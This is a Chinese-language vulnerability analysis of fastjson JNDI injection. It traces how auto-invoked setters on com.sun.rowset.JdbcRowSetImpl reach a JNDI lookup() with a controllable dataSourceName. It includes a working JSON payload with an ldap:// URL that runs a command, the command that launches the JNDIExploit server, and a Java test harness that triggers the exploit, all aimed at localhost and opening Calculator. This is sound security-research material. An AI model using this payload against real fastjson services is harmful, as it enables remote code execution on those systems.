原理

fastjson JNDI注入的原理就是fastjson在进行反序列化的时候会自动调用目标类的getter、setter方法。而com.sun.rowset.JdbcRowSetImpl类在调用setAutoCommit方法时会调用connect(),connect()会调用lookup()方法且参数可控,造成jndi注入

漏洞分析

setter的自动调用分析参考FastJson基础分析中的分析,直接快进到调用的部分

这里调用不是通过setValue去进行invoke的反射调用,而是走到了第600行

步入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法

步入773行com.alibaba.fastjson.parser.deserializer.FieldDeserializer#parseField方法

可以发现在此处调用了setValue方法,跟进就是invoke反射调用setAutoCommit

跟进

步入com.sun.rowset.JdbcRowSetImpl#connect方法

第322行发现调用了lookup进行jndi查询,而传入的参数dataSourceName也可以通过setDataSourceName()传入

所以payload如下

String payload = "{ \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " +
"\"dataSourceName\": \"ldap://127.0.0.1:1389/Basic/Command/open -a Calculator\", " +
"\"autoCommit\": true }";

利用JNDIExploit工具开启JNDI服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1

测试代码

package org.atoposx;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;

public class FastJsonJdbcDeserialize {
    public static void main(String[] args) {
        String payload = "{ \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " +
                "\"dataSourceName\": \"ldap://127.0.0.1:1389/Basic/Command/open -a Calculator\", " +
                "\"autoCommit\": true }";
        ParserConfig.getGlobalInstance().setAsmEnable(false);
        JSON.parseObject(payload);
    }
}